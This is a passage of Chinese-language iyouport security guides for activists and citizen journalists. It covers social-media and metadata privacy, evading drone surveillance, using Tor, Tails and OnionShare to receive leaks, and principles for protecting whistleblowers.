3、您会在社交媒体上与他人讨论问题吗？或者使用推特私信交流？您需要小心自己说出的每一句话，您说得越多，追踪和识别您的身份就越容易。

📌 还记得我们在 *操纵* 系列中强调的吗？对方会通过装傻和故意说错话，来诱导您去 “纠正”，这样就能令您自动说出您所知道的东西。不要上当。

🛡 对于推特私信，最好的用法是告知联系对象一个加密匿名的邮箱地址，然后转移到邮箱中对话。

4、在推文中提及其他用户有助于建立链接。你经常能看到人们发布自己在会面过程中的信息和照片，比如 “今天很高兴和 @李大侃 共进晚餐” 等等，但是这类推文很危险，它们所携带的内容很可能超出您的预期。

🛡 除非您知道您所提及的用户具有和你一致的隐私标准和安全性设置，否则尽可能不要在发布内容中关联其他人 —— 也不要在推特或 Facebook 照片中标记其他用户，如果您对连锅端没兴趣的话。

5、请记得，推特标签甚至关键词也能对您进行定位，如果它相关某个热点事件或者抗议运动的话。而追踪者并不需要关注您。

📌 尤其是中国的推特用户需要注意这点。因为中国有一个GFW，来自中国的用户很容易误会“翻墙”后为“安全”。人们在墙内已经习惯于使用编码后的文字（比如谐音等）来替代敏感的关键字，在推特上却不会这么做。

但是，已经有太多证据显示，当局的追踪监视早已针对 **Twitter**、、**Facebook**、**YouTube**等被**GFW**阻拦的平台；每一次热点事件都是社交媒体情报侦查的爆发期，如果您没有编码关键字，被瞄准将轻而易举。

这正是为什么IYP要采取开源情报 —— 帮助人们看清政府监视者是如何操作的。尤其是中国。您可以在下面看到具体解释：

- 《这不是一场竞技表演：关于IYP为什么要采取开源情报》

6、仔细考虑您准备发布的所有照片和视频不论是在 Instagram、Flickr、YouTube、还是 Twitter，包括元数据！它们是否会导致您的同伴被追踪、被骚扰、甚至被逮捕？

📌 不仅要考虑图像中包含的可追踪性细节，而且要考虑元数据。人们往往认为社交媒体上传的视频和图像能自动去除元数据，一定程度上是这样，但是仍然会有残留的元数据可以被挖掘出来，在下面看到方法；尤其是，如果您使用的是寡头公司的服务，这些公司会自己保留元数据，并且无法阻止他们将您的数据交给政府。

- 《社交媒体照片也能找到元数据痕迹以实现追踪，这件事怎么做？》
- 《深挖推特：如何从推文中提取准确的元数据？》

有很多工具可以去除元数据，而最快速便捷的方法是使用截图工具或者屏幕快照，虽然会一定程度上会损失照片质量，但可以去除大部分元数据。

注销应用程序；或将智能手机留在家里

「图」

如果您参加抗议活动，并且不得不携带智能手机，请注销一切您平时常用的应用程序，比如 Uber 或 Google Maps 等，关闭GPS服务；并且避免给予任何应用程序额外的权限；删除所有您很少使用的应用程序，不得不留下的东西越少越好；尤其是避免下载那些免费的带有广告的应用程序，它们就是靠追踪您赚钱的。

📌 在下面看到关于行动者的须知：

- 《警察用哪些监视方式瞄准抗议者？》
- 《如何在监视时代参加抗议活动》
- 《如何识别抗议活动中可见的和不可见的监视》
- 《指南：当您准备参加抗议活动...》
- 《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》

📌 如果您参加抗议活动，那将有更大的被逮捕可能性。最好的选择是完全避免携带自己的智能手机。如果您被捕，警察可以从智能手机下载所有信息，并可以访问电子邮件、电话日志、联系人、文本消息和照片、以及任何您的加密通信如果没有阅后即焚的话。

📌 在下面看到警察都能从您的设备上拿到哪些东西、使用什么样的技术：

- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》
- 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》

不要向警方提供能将您定罪的证据

「图」

您当然不愿意提供能将您定罪的证据。但是，首先您需要知道，警察是如何收集定罪证据的 —— 它们就来自社交媒体情报。

- 《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》

🛡 所以，对抗性思考方式非常重要 —— 您需要在每一步设置、每一次点击和发布之前用监视者的思考方式审视自己，他们能从中追查到什么？会不会连累同伴？会不会导致行动计划泄密？……等等。

- 《社交媒体情报和反情报基本工具手册：自我人肉（2）》

📌 通用的建议是：如果您不确定，就不要冒险，极简主义重要的是安全策略。

社交媒体的因言获罪

「图」

就算您不是活动家，不是行动者，没有准备参加任何实际的行动，您也无法避免被警察当作目标。生活在中国的人们很明白这件事。

中国不是特例。互联网审查在大都是国家都不是新鲜事，因社交媒体言论而定罪的案例并非只有中国。

比如英国，2013年英格兰和威尔士皇家检察院就发布了针对社交媒体交流和发布内容的起诉准则。您所在的国家很可能也有相关准则甚至立法，最常见的就是所谓的虚假消息 —— 当权者不喜欢的内容都被称为“谣言”。

📌您可以在下面看到全球性的综合报告：

- 《逮捕、追踪和惩罚，全球”反谣言”行动地图》

🛡 如果您对自己所在国家的相关法律不够了解，建议先研究一下，以避免被警察设置的法律圈套绊住。

最后

「图」

本文列举的是作为敏感人士您至少需要考虑到的东西。没有人能预测镇压手段什么时候升级、如何升级，但如果您能比当局技高一筹，提早作出准备，您就能应付大多数威胁。

只有每个人都有意识地保护自己的人身安全，您的组织活动和行动才

能顺利开展。作为组织者，您应该在自己的团队/社区中普及这些基本的安全知识，以帮助队友实现足够的防护。

不久后我们将有一个新的系列内容，专门考虑在中国的敏感人士的安全须知，希望能更切实地帮助人们。〇

原文

AS54 如何躲避无人机 — 监视时代的须知 - iyouport

护盾（AS）

【2020年11月5日存档】监视时代的基本生存技能……

无人机有非常多的用途。

各种规模的无人机正被环保活动家用来监测森林砍伐，被保护主义者用来追踪偷猎，被记者和活动家用来记录大型抗议活动 …… 研究社会运动和无人机的政治社会学家 Austin Choi-Fitzpatrick 在他的新书《The Good Drone》中记录了无人机广泛的非暴力和亲社会用途。他认为，这些努力有可能使监视民主化。

但是，当国土安全部将大型固定翼无人机从美墨边境调往抗议活动现场进行监视、当城镇尝试使用无人机对人们进行体温检测 …… 是时候思考天空中有多少双眼睛了，以及如何避免不必要的空中监控。

- 《天空中的眼睛》关于无人机监视的详细讲解

一个几乎每个人都唾手可得的方法就是学习如何简单地从无处不在的监视器视野中消失。

- 《浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》

拥挤的天空

「图」

在过去的十年里，公众对无人机的使用呈爆炸式增长 —— 人们用日常科技做着有趣的事。随着无人机进入已经拥挤的空域，航空管理部门正在努力应对。在不久的将来，天空中可能会出现更多的这些设备，由越来越多的社会、政治和经济目标参与者推动。

- 《如何识别抗议活动中可见的和不可见的监视》

公众对无人机的使用和扩大化的看法仍然悬而未决，但无人机使用的迅猛发展已经引发了许多限制无人机的努力，包括制定公共政策，让社区对当地空域进行控制，以及开发先进的干扰设备和战术，将无人机从天空中击落。

- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《空中监视如何追踪抗议者？》

从初创企业到主要的国防承包商，都在争相设立拒绝无人机的领空，用数字技术劫持无人机、控制无人机、击落无人机。反无人机措施从简单的钝器、到10口径猎枪，再到训练有素的鹰。

这些反无人机措施很多都是昂贵而复杂的。有些是非法的。避免无人机技术的最实惠、也是最合法的方法就是：躲起来。

如何从无人机的视野中消失

「图」

要想躲避无人机，首先要利用自然和建筑环境。可以等待恶劣天气，因为像当地警方使用的小型设备很难在大风、浓雾和大雨中飞行。

树木、墙壁、凹槽和隧道可以比天气更可靠，如果您遇到的是国安部使用的那种高空无人机的话，这些物体可以帮助您躲避。

您可以做的第二件事是尽量减少您自己的数字足迹。尽可能避免使用手机或GPS系统等无线设备，因为它们有数字签名，可以揭示您的位置。这对于躲避无人机来说是很有用的，并且对于抵制其他很多监视技术来说也非常重要。

第三件您可以做的事就是迷惑无人机。在地面上放置镜子、站在破碎的玻璃上、戴上精致的头盔、使用机器可读的图案印制的毯子、或可以干扰传感器的布料制作的夹克，以破坏和扭曲无人机看到的图像。

- 以上原理您可以在 列表-1 “生物识别” 栏目中看到

人体模型和其他形式的模仿也能迷惑机载传感器和负责监控无人机视频和传感器信号的分析人员。

请注意，装有红外传感器的无人机会看穿人体模型的把戏，但也会被掩盖体温的策略所迷惑。例如，太空毯会掩盖大量的人体热量，或者简单地躲在与人体温度相匹配的区域，如建筑物或人行道的排气口，也能做到隐藏。

第四种，也是最实用的，那就是伪装。大规模监控的发展导致了旨在隐藏身份的创造性实验的爆发。但一些最聪明的想法显然是老派的和低技术含量的。衣着是首选，帽子、眼镜、面具和围巾对扰乱基于无人机的面部识别软件来说就能有很大帮助。

请记得，您的步态就像您的指纹一样独一无二。随着步态识别软件的发展，还必须考虑如何掩盖用于识别步行者的关键支点。可能最好的反应是一瘸一拐，使用轻微的腿部支撑或穿着极度宽松的衣服。

- 《中国的步态识别监视正式铺设："受美国的启发"》
- 《重新学走路：愚蠢步行法抵制步态识别的兴起》

艺术家和科学家们将这些方法又向前推进了一步，开发出了一种旨在屏蔽一个人的热标记和扰乱面部识别软件的帽衫，以及旨在挫败面部识别系统的眼镜。在这里看到《如何防止被无人机监控？（热成像监控的抵制方法）》。

随身携带一把雨伞

「图」

上述这些创新都是很诱人的，但雨伞可能被证明是这个列表中最普遍使用的和最强大的策略。它们价格便宜，易于携带，并且可以在短时间内发挥作用。另外，如果您愿意，还可以打造一个高科技的雨伞，比如这种。

如果您生活的地方没有警察使用小型四旋翼飞机监视人们的生活、也没有国土安全部部署大型"捕食者"无人机来监视抗议者，那当然是极好的事；对于世界上某些地方的人来说，要小心别把无人机的声音和即将发射的导弹联系起来。但是如今全世界的人都应该知道，有那双眼睛在天上的存在，每时每刻都应该有所意识，明白该如何躲避它。

总结

「图」

以下是美国军方介绍的几种躲避无人机的方法：# 白日伪装：躲在建筑物或者树木的阴影里。利用茂密的树林作为天然遮蔽或使用伪装网；

- 夜晚伪装：躲在建筑物中或者茂密的树叶下。禁止使用手电筒或者车头灯，哪怕仅是对准远方。无人机可以在夜间任务中轻而易举地识别出灯光；
- 热伪装：聚酯薄膜（Mylar）制成的急救毯可以隔绝红外线。在夜间把急救毯作为披风穿在身上可从红外探测中隐藏您的热信号。在夏天，当气温在36至40摄氏度之间时，红外摄像头无法从周围环境中辨别人体；
- 等候恶劣天气。无人机无法在大风，烟雾，暴雨，等恶劣天气条件下工作。
- 禁止使用任何无线通信。使用移动电话或者全球定位系统（GPS）可能会暴露您的方位。
- 迷惑。在车上或屋顶上散布反光玻璃碎片或者镜面反光材料可以搅乱无人机的摄像头。
- 使用诱饵。使用人体模特或者真人大小的玩偶来误导无人机的侦察。

1. 截取信号。一个复杂的技术是通过 SkyGrabber 软件、卫星天线和调频器来截取无人机的通信频率。

- 干扰。通过广播不同的频率或者一组频率，无人机操作员和无人机之间的连接可以被切断。
- **GPS**欺骗。小型便携式GPS发射器可以发出虚假的GPS信号来扰乱无人机的导航系统。这种方法可以被用来引导无人机进入自毁的飞行路径，或者劫持它们逼迫其降落。

○□

原文

AS55 简易吹哨平台传输泄漏数据：洋葱汤指南 - iyouport

护盾（AS）

【2020年11月10日存档】这是 *最简单的* 公民调查人员与吹哨人合作的技术方案

说真话永远都是最危险的，吹哨人需要极大的勇气和智慧，接收和处理吹哨人提供的信息则更加不容易，对技术水平的要求很高。

除非您是一个老练的调查记者，拥有一个知名的出版物、一个无所畏惧的编辑、一个稳定的律师、一个可以诉讼良好的保护法，一堆普利策奖和一个新的硬盘备份 …… 否则，作为什么都没有的公民调查人员，您最好能在每一个阶段都保持足够的谨慎。

如您所知，透明度革命是最具效力的反抗模式之一，因为权力建立在谎言之上，所有当权者都致力于打击并始终将努力消灭任何泄漏真相的反抗行动。为此，他们将无所不用其极。

作为公民调查人员，如果您准备好了接收吹哨人提供的证据，您首先需要让潜在的对方能找到您，所以您需要做一些宣传，提供一些表层的联系方式。而这个阶段就很容易被当权者瞄准。

当然，您肯定会努力保持匿名性，但匿名不代表能免于攻击。

于是，您应该知道，泄露的数据中可能包含恶意软件，或者它们可能是非法获得的，或者线索本身可能是鱼叉式钓鱼攻击，或者可能就是诱饵。

而拥有这些数据的行为本身可能也是非法的，直到您能够证明这些信息对公共利益的价值 —— 通过专业地分析（这就是另一个话题了）。否则它可能仍然是非法的，您会被当权者倒打一耙。不论如何您很可能需要公开这些信息。当然，这取决于背景，也取决于数据本身。

本指南是关于Tor的。 Tor是一款软件，可以帮助隐藏您对某事物的兴趣，直到您决定公开该兴趣（或该事物）。

需要明确的是，没有纯粹的技术解决方案来应对所有这些挑战。仅仅软件几乎无法帮助解决与敏感泄露的调查、验证、分析和发布有关的社会、政治和道德问题。

所以，是的，在保护您的消息来源、保护您自己和支持调查方面，经验、法律建议、和可信赖的关系几乎绝对比匿名技术更重要。但是使用Tor是您现在就可以做的事。而且，除非Tor在您工作的地方被定为刑事犯罪，否则它不可能受到伤害，尤其是它将有所帮助，并且比您想象的要容易得多。

本指南的结构

「图」

本指南包含两个主要部分。首先，讨论如何通过Tor浏览器或 Tails 使用Tor，以避免从您自己的互联网地址在您访问的网站上留下痕迹。

第二部分将介绍只能通过Tor访问的洋葱服务（也称为隐藏服务）。洋葱服务旨在隐藏其自身的物理位置，并确保对所有访问者流量进行更完全的加密和更可靠的匿名化。

它们被诸如 SecureDrop 之类的吹哨人平台广泛用于保护消息来源的身份，但是本节将重点介绍 OnionShare，它允许个人交换文件而不会暴露身份。

Tor 和 Tails

「图」

Tor 浏览器是使用Tor的最可靠方法，而 Tails 是使用Tor浏览器的最安全方式。

Tails 是一种 Linux 操作系统（OS），可以通过USB记忆棒运行，而不会影响您使用的任何计算机上的操作系统或数据。它通过Tor保护您的身份，还能确保您保存到磁盘的任何东西都是加密的。

关于Tor，您可以参见 列表-1 中 “洋葱头的斗争”。本指南将重点考虑公民调查人员如何与吹哨人合作的问题；将略去曾经介绍过的内容。

基本的Tor连接

「图」

以下步骤说明了使用Tor浏览器的Alice对Bob的服务器上运行的网站的请求。有一个视频，来自英国的调查新闻中心，您可以参考：

步骤1：获得一个中继列表

「图」

Alice 的 Tor 浏览器从Tor目录服务器（Dave）请求一个Tor中继列表。

步骤2：选择路径

「图」

Alice 的Tor浏览器通过Tor网络选择了一个随机路径。 Tor网络内部的所有连接均已加密（绿色）。在此示例中，最后一个连接未加密（红色），如果Alice访问https网站，它将被加密。

步骤3：后续请求

「图」

如果 Alice 后来访问了另一台服务器（Jane）上的网站，她的Tor浏览器将选择其他随机路径。

正如您可能从这些图中所看到的那样，在匿名性和速度之间存在一个权衡。Tor通过在世界各地来跳跃提供匿名性。它几乎总是比直接连接到互联网更慢一些。

其他问题

「图」

使用Tor时，请牢记三件事：# HTTPS加密仍然很重要

- 使用Tor不会掩盖您正在使用Tor的事实

- 尽可能使用Tor浏览器，而不是配置其他软件以使用Tor

1. SecureDrop (guide for sources, guide for investigators)

- GlobalLeaks （在这里看到更多）

1. 从您自己的网络防火墙中向知道正确洋葱地址的任何Tor用户提供文件；

- 确保这些传输是加密的，端到端的，并且完全在Tor网络中进行；
- 有简单易用的图形用户界面激活洋葱服务

1. 点击 **[Add files]** 或 **[Add folder]**

- 导航到您要共享的文件或文件夹
- 点击 **[Open]**
- 重复前面的三个步骤以添加其他文件或文件夹

1. 确定您是否希望 OnionShare 在第一次下载此内容后停止共享。如果是这样，请选中 “自动停止共享” 框。如果不是这样，取消选中它。

- 点击 **[Start Sharing]**
- 当左下角的大圆点变成绿色时，您的洋葱服务就准备好了
- 您可以在左下角看到洋葱地址。您可以通过单击 **[Copy URL]** 将其复制到剪贴板。
- 安全地将此洋葱地址提供给您想要与之共享所选数据的人 —— 安全提供，这很重要。

1. 使用Tor浏览器访问该洋葱地址

- 点击 **[onionshare_gibrsh.zip]** 开始匿名转移
- 点击 **[Save File]**
- 如果使用的是 Tails，Tor浏览器将只允许您将文件保存到两个文件夹之一中，一个“默认”一个“永久”。这样做是为了保护您免受恶意软件的侵害。关闭或重新启动Tails系统时，Tor Browser 文件夹中的所有内容都将消失。本示例选择 Tor Browser（永久）文件夹。如果您选择不这样做（或者根本没有启用永久），则需要在关机之前将数据复制到其他位置。
- 选择适当的文件夹点击 **[Save]**
- 该文件夹现在应包含一个.zip存档。共享的文件和文件夹位于此

存档中。

1. 创建具有强密码短语的加密USB记忆棒

- 将文件复制到该USB记忆棒上
- 重新启动您的Tails系统
- 不要使用“Persistence”并禁用所有网络访问
- 插入加密的USB记忆棒并输入密码
- 启动适当的应用程序（例如 LibreOffice Writer，LibreOffice Calc 或 Document Viewer）
- 使用该应用程序的“文件”」“打开”菜单打开文件

所有这些都不能排除恶意软件的可能性，但可以使您有机会注意到文件是否为垃圾、或在打开文件后系统的行为是否异常 —— 并避免文件被修改或连接到互联网。

当然，Whonix 会更好，您可以在这里看到介绍。

对于信息真伪的验证，那将是另一个复杂的话题。验证非常重要，当权者有可能会故意放出虚假的信息，利用有影响力的吹哨人平台推动信息战。作为公民调查人员，您必须竭尽全力确保您所公布的信息是真实的和完整的。这需要经验和技术的结合。

结论

「图」

本指南中描述的工具和技术旨在让您更好地控制有关调查内容的披露以及披露的时间。 Tor浏览器非常易于安装，甚至更易于使用。OnionShare 也是如此，它允许您与吹哨人或重要同事交换文件而不留下交互的证据。

了解这些工具的工作方式并了解如何使用它们，将帮助您确定可以在何时适当地利用它们所提供的匿名性以完成工作。〇

Leak and Onion Soup

原文

AS56 (公民)调查记者如何与吹哨人合作：7点提示 - iyouport

护盾（AS）

【2020年11月11日存档】本文中所指的“记者”和“媒体”均为公民记者和独立媒体。大多数情况下您无法依赖职业媒体协助曝光；您揭露的信息越是重要，就越是如此

吹哨人是新闻生态系统的重要组成部分，是调查人员 —— 不论是职业调查记者还是公民调查人员 —— 最强大的力量。这些人是内部人士，他们可以获取当权者的腐败内幕或不法行为的机密信息，通过调查记者将其公之于众。

但是与吹哨人一起工作需要非常小心，不论是技术安全方面和操作流程。

- 不要错过《简易吹哨平台传输泄漏数据：洋葱汤指南》

本文总结一些基本的提示，以帮助您的工作。透明度革命是一个成熟的跨国运动，有相当多的资源可以帮助您，搜索 “Whistleblower” 以找到它们。或者参见我们的 列表-5 “透明度革命”板块。

(1) 了解法律

「图」

与吹哨人合作的第一步是了解相关的保护性法律和政策。

例如，尼日利亚有一些关于吹哨保护的国家法律，包括2017年通过的《吹哨人保护法案》，但尚未签署成为法律。该法案旨在确保吹哨人和因举报而遭受报复的人受到法律保护。

尼日利亚还在2016年推出了 “吹哨人政策”，要求对提供腐败相关的违法行为线索的公民给予补偿，金额为追回金额的2.5–5%。

许多其他国家都有自己的吹哨人法律。记者有责任了解这些法律及其运作方式，以便为与吹哨人的合作做好准备。例如，美国有《虚假申报法》和《多德·弗兰克法案》，其中包括关于保护举报人的宽泛法律框架。

这意味着当您因此被捕时，您可以知道如何辩护 —— 请注意，有法律并不意味着就能保护您的安全，您在做正确的事也并不意味着就不会进监狱。这基本无需更多解释了。

这些法律可能很复杂，如果您在理解这些法律的含义方面遇到困难，请教法律专家会有很大帮助。透明国际组织在全世界50多个国家设有若干宣传和法律咨询中心，为有兴趣举报腐败的公民提供支持，但它们也可以作为调查记者应对类似挑战的资源。

(2) 尊重匿名需求

「图」

揭露政权内部的不法行为是非常危险的，吹哨人会因此而面临致命的攻击和惩罚。

- 在这里看到一些案例《他们是如何抓捕说真话的人？灾难和教训》

因此，当举报人要求匿名时，作为调查记者，保护他们的安全就是您的义务。

如果您没有或不能保护吹哨人的匿名性，就会使他们处于危险之中，您就会因此失去公信力；如果有人因为和你合作揭露秘密而被捕，你和你的组织就会因此信誉破产，被今后任何类型的吹哨人拒绝。

在2016年的一份报告中，伦敦大学高级法律研究所的信息法律和政策中心发布了一份题为 “在数字时代保护消息来源和举报人” 的报告，该报告建议记者和新闻机构至少应做到：

- 采取政策行动，调查新闻组织应不断推动现有局限性法律的修订更新，以维护吹哨人行动的合法性；
- 随着技术的发展和变化，应不断评估调查记者与匿名消息来源互动的方式是否足够安全；
- 在一线工作的调查记者应接受足够的安全保护培训，安全知识应及时更新，并尽可能确保记者按照标准操作，将安全纳入习

惯。

Assange 和 WikiLeaks 开发的技术使新闻自由基金会能够为记者和媒体组织开发一种类似的工具，允许吹哨平台和消息来源进行匿名交互，以泄露文件。

该工具名为 SecureDrop，目前已被包括《纽约时报》，《华盛顿邮报》，《卫报》和《半岛电视台》在内的几乎所有媒体组织使用。在这里看到网站：https://securedrop.org///一个前车之鉴//

(3) 了解所涉及的风险

「图」

吹哨人面临非常多的威胁，即便有所谓的 “吹哨人保护法” 也没有意义，因为当权者随时可以将揭露对权势来说具有致命性内幕的吹哨人定位为 “非法活动”，就如您所看到的他们是如何试图瓦解 Wikileaks 的。

这需要不断运动才能推动变革。就如在尼日利亚，保护吹哨人和新闻自由联盟（CWPPF）—— 一个由13个民间社会组织和6个新闻调查室组成的联盟—— 正在领导该国保护吹哨人的运动。

CWPPF 的 Stephanie Adams 说：这场运动的 “目的是通过倡导尼日利亚的吹哨人保护和新闻及互联网自由，对尼日利亚的媒体环境产生积极影响。该联盟的成立也正值吹哨人保护政策成为尼日利亚法律领域讨论的话题之际。”

CWPPF 运行着 Leaks.ng 这个平台，该平台于2018年启动，使吹哨人可以共享机密信息，同时通过数字安全技术保护吹哨人的身份。

Adams 说，“这个工具允许人们通过安全的技术向媒体机构和民间组织发送符合公众利益的信息，以保护信息来源。该系统的设计是为了让公众利用透明度和公民参与，以尽可能高的匿名性分享这些材料。它的目的是建立一个更公平、更民主的社会。”

即使您竭尽全力隐瞒身份，如果您发现自己与高度危险的消息来源一起工作，请与您所在国家的此类组织取得联系，这些组织必须能提供专业的帮助。

(4) 验证收到的信息

「图」

吹哨人给您提供了有价值的信息，但接下来您该如何处理？

记者有一个重要的责任那就是，对任何信息和线索进行核查 —— 通过技术核实、也包括向其他任何可信的消息来源核实信息。在这方面，没有任何借口可言，因为一旦你出错，后果将是巨大的。

在前面的文章中讲到过这点，全世界的当权者都会致力于打击吹哨人及其合作的媒体组织，他们会无所不用其极 —— 这包括故意泄漏虚假的信息，瓦解吹哨的公信力，甚至将其用作政治斗争的工具。

这就是为什么验证成为考验吹哨平台专业性的根本。在下面听 Wikileaks 的故事，这是有中文字幕的版本：

我们的 列表-3 “让它民主” 栏目中收集了很多信息验证的技巧，但如果您接收到的是机密文件（很大程度上是），您需要更多的基本技巧以验证它的真伪，包括比如，对相关机构的了解 —— 他们的文件标准字体是什么？哪些措辞不可能出现在这类文件中？时间线和背景信息是否有矛盾？…… 以及是否可以尝试复原被编辑过的信息？

- 作为提示的冷门技巧《政治涂鸦和隐藏的信息：标志、符号和其他视觉线索协助追踪调查的入门指南》

只需要不断探索，知识也要不断更新。就如安全措施那样，它是一个持续精进的过程。没有任何一份指南能声称帮您应对一切可能性。

(5) 匿名性并非总是可行的，也不一定一直都是最好的策略

「图」

许多吹哨人希望在保持匿名的同时披露其所在单位的阴暗。但是，绝大多数吹哨（据调查超过95%）都试图首先在内部解决问题 —— 就如中文所言 “家丑不能外扬”。

大多数员工相信只要自己向主管、监察人员或通过其他内部机制提出合理的关切，也许就能解决问题。大多数情况下，这些人在努力尝试从内部纠正问题时会花费很长的时间，最终只能挫败。

- 还记得这个故事吗《在斯诺登之前，国家安全局的间谍已经试图从内部煽动变革》其实这种情况非常常见

通常，只有在解决问题的尝试失败、不足、或遭到报复后，员工才决定对外 “吹哨”。

问题就在这里 —— 当吹哨人决定与调查记者合作对外披露信息时，他们的指纹已经在被嵌入该信息上了。

这些信息一经公布，管理层基本立刻就能追溯到吹哨人的身份。曼宁也并非一开始就准备与吹哨平台合作的 – 她希望先从内部解决问题。图片来自 *Julian Assange* 9月的听证会上证人证词

即使该员工没有首先在内部提出问题，通常也仍然不难追查到身份，因为披露信息的具体性可以用来追溯到员工的工作职责和专业知识。还记得曼宁的故事吗？您可以在我们的专栏 “透明度革命” 中看到很多技巧和经验教训的总结。

作为调查记者，您应该了解这点，并及时充分地对吹哨人讲明其中的危险可能性。

对吹哨人来说，保持匿名也可能不总是最好的策略。例如，如果当权者怀疑到你了，却没有证据证明是你泄漏了信息，他们会用很多其他借口惩罚你、迫害你，而这种情况下你可能很难证明这些迫害是对吹哨的报复。

任何国家的吹哨人保护法律都要求证明其雇主对吹哨行为知情。如果想要使用该法律保护自己，让吹哨人成为新闻报道的焦点，至少可以维护其可行的法律权利。

让吹哨人与盟友团队 —— 包括律师、调查记者、公共利益组织、包括国会中的支持者 —— 联合起来，就可以将焦点放在吹哨人所揭露的不法行为上了，从而使当权者抹黑诋毁吹哨人和记者的努力落空。

同时，在吹哨人周边提供全方位支持，而不仅仅是对吹哨人个人的保护，可以帮助扩大人们对潜在问题的认识，以推动必要的变革。

- 重要内容《超越透明度革命》

但另一方面，公开身份意味着该吹哨人已经无法继续原有的工作，甚至所有同类职业的工作。这几乎是必然的。也因此，一些吹哨人依旧希望保持匿名。如果消息来源要求匿名，吹哨平台和调查记者就必须努力做到这点。

尤其是请记住，吹哨人是可能做到匿名的，但吹哨平台和调查记者只

能是实名的，于是后者将成为当权者首要矛头指向。

作为调查记者和媒体组织，你们很可能受到威胁以胁迫你们透露吹哨人的身份。这点也需要提前告知吹哨人。通过律师促成与外部各方的沟通，也许可以为吹哨人提供一层重要的保护。

最后请注意，保护吹哨人的法律环境是非常复杂的，当权者往往独揽法律解释权；这使得吹哨人、甚至是缺乏吹哨保护经验的律师，都难以评估各种披露策略的风险和收益。

所以，无论是吹哨人还是记者，在发布信息之前都应该咨询具有吹哨专业知识的律师。这样可以确保信息披露的策略有充分的依据，将风险降到最低，将效果最大化。

(6) 信任

「图」

记者与机密消息来源之间的关系是神圣的、契约性的。正如最高法院在 Cohen 诉 Cowles 媒体案(1991年)中所描述的那样，消息来源向记者提供信息，以换取保密身份 (记者不透露消息来源的身份)。

结果是，在Cohen案中，两家报纸的记者毁掉了这位被承诺保密的消息来源。Cohen 因此失去了工作，提起诉讼要求赔偿，法院认为 “不能援引第一修正案允许报纸违背保密承诺”。

使这一问题进一步复杂化的是，最高法院还裁定，记者并不比任何人有更大的权利来规避一般法律。这在检验记者特权的存在或程度的案件中得到了体现。在这些案件中，检验的问题是记者是否必须交出资料或在法庭 (通常是大陪审团) 面前就机密资料的来源作证。

如您所见，近年来记者的特权在泄密调查中已经受到考验 —— 政府会不惜余力地追踪吹哨人的身份。想想 Edward Snowden、Chelsea Manning 或 Reality Winner，他们由于向记者传递机密信息付出了如何惨重的代价。

记者在处理机密信息时也处于潜在的危险境地。我们的列表-5中有 “Wikileaks” 板块，您可以看到吹哨平台面临的风险，这一镇压历经10年。

再比如纽约时报的 Judith Miller，因为拒绝透露消息来源的身份而被

判藐视法庭，被关进监狱85天。

对于吹哨人如何找到记者、记者如何与吹哨人互动，并没有一个通用的公式（也不能有，任何公式都将被镇压反制）。记者有义务寻求和报道真相。他们还有义务保护自己的消息来源，尤其是吹哨人。

在数字时代，可以轻松地监视电子邮件和电话通信。员工对与工作场所沟通有关的隐私的期望值非常低，甚至完全没有期望。他们甚至不必传唤记者就能轻松确定消息来源的身份。

- 具体见《你的老板可能是比 Facebook、谷歌更大的老大哥》

所以，作为调查记者，必须采取预防措施以确保消息来源被遮盖或受到保护。有一部电影《总统班底 All the President's Men》，其中华盛顿邮报记者 Bob Woodward 在阴暗的地下停车场里和深喉会面。当下的调查记者要做好回到这种状态的准备。

一些吹哨人也会对自己所面临的风险有清醒的认识，可能会在记者与吹哨人的关系中规定自己的保障措施。这可能意味着不使用电子邮件、关闭手机位置服务、完全避免电话联系、以及采用加密技术。这也可能意味着面对面的会面或只交换纸质材料的硬拷贝。还可能需要了解这种关系以及记录在案或不记录在案的含义。

- 这份指南中的一些解释也适用于吹哨人合作关系《在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报—完整指南》

正如政府问责计划（ Government Accountability Project ）给出的指南中强调的：吹哨人和记者之间关系的基础就是 *信任、信任、信任*，双方都有责任捍卫这一基础。“与吹哨人一起工作的记者应该意识到，任何基于机密信息的报道都可能导致吹哨人受到起诉。报复的可能性非常高，甚至通常可以根据工作机会或工作职责来追踪匿名举报人。”

(7) 原则

「图」

这里总结的原则可能并不周全，这方面也无法做到周全，您需要根据自己面临的状况作出补充。

1、在披露吹哨人身份的详细信息之前，请考虑披露该信息的价值是

否大于吹哨人和其他人可能面临的危害。

2、不要专注于吹哨人为什么要挺身而出，不要过多分析动机问题，您的注意力应该放在信息验证上；只要信息为真，并对公共利益具有明显的价值，那就应该披露它。

3、了解吹哨人和“泄密者”之间的区别。吹哨人是为了公共利益而服务的，由于该信息被隐瞒而损伤了公共利益、对民主构成危险，因此需要披露它。而泄密者可以具有私人动机、私人利益。调查记者的合作伙伴应该是前者而不是后者。

4、对数字防御和使用加密负责。即使加密可能无法完全保护您的消息来源，但它至少提供了重要的一线保护。

5、确定对您和您的消息来源造成的最大威胁是什么，以及需要采取哪些具体步骤来保护你们双方。此处应该采取的是 “敌对环境” 中的防御技巧，在下面回顾：

- 《来自人身的威胁：如何在敌对环境中保护自己（1）》
- 《最低程度的技术性获得最大幅度的安全提升：如何在敌对环境中保护自己（2）》
- 《手机应该有且只有一个用途：在敌对环境中保护自己（3）》
- 《为最坏的情况做准备，迎接最好的结果：在敌对环境中保护自己（4）》

6、对吹哨人解释风险；在敏感的报道上，培训吹哨人基本数字安全性。

7、在可能且安全的情况下，完整发布原始文档和数据集，同时要认识到故事中数据集的重要性。在吹哨人要求的情况下安全地删除部分数据以保护被涉及其中的无辜者。

8、鼓励新闻出版商履行其职责，为新闻工作者、消息来源和存储的资料提供足够的数据安全，并提供适当的培训和政策以指导曝光工作。

本网提供的数字安全技术和建议从普通到高级，对于吹哨人和吹哨平台来说都是应该最基本掌握的。技术虽然并非万能，但做到这些基本措施是为必需。

本文中所指的“记者”和“媒体”均为公民记者和独立媒体。大多数情况下您无法依赖职业媒体协助曝光；您揭露的信息越是重要，就越是如

此。〇

原文

AS58 给活动家的反人肉指南 - iyouport

护盾（AS）

